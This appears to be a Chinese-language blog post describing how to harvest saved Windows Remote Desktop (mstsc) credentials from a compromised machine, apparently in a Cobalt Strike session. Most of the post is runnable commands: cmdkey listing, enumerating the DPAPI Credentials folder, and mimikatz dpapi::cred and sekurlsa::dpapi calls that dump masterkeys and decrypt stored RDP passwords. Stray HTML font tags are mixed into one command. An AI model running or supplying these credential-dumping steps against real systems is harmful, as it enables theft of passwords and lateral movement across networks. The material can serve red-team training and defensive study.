Windows mstsc 凭据收集

0x00 前言

在获取一台机器的权限的时候可以查看一下本地 mstsc 是否有远连的记录,如果有的话可以尝试获取本地 mstsc 保存的凭据

需要工具:mimikatz

0x01 开始

1.查询本地保存的RDP凭证

这是在 Cs 上远控的场景,如果是上机的话命令也差不多。

输入 cmdkey /l 列出本地 mstsc 凭据

发现其中保存了一个远程机器的凭据

2.获取RDP本地保存凭证的文件

dir <font style="color:rgb(103, 205, 204);">/</font>a <font style="color:rgb(103, 205, 204);">%</font>userprofile<font style="color:rgb(103, 205, 204);">%</font>\AppData\Local\Microsoft\Credentials\<font style="color:rgb(103, 205, 204);">*</font>

来获取保存凭据的文件路径

mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8C3DD554874BDFAEFBF6678F107E632C" "exit" > p1.txt

替换一下 44E150FF9311B4669A2ACF9D6B0DD725

type p1.txt 可以查看内容

忘记保存图片了,图片是网图

3.查询GUID对应的masterkey

mimikatz.exe "sekurlsa::dpapi" "exit" > dp.txt 获取 Masterkey

type dp.txt 可以查看内容

4.使用 Masterkey 进行解密RDP

mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\4271BC8446A2B6987B1B22E9CE849985 /masterkey:6858b78c7b20bf4678f3f1240abe825d65db127fbfbcb7c4b81919ef06eb722ecac7c1bc1b7868a4b714696914c4d6d3f41f20db1c18571ec4080610e2c15382" "exit" > p1.txt

替换其中的 /in:/masterkey 即可

type p1.txt 可以查看内容

作者

en0th

发布于

2024-09-23

更新于

2024-09-23

许可协议

评论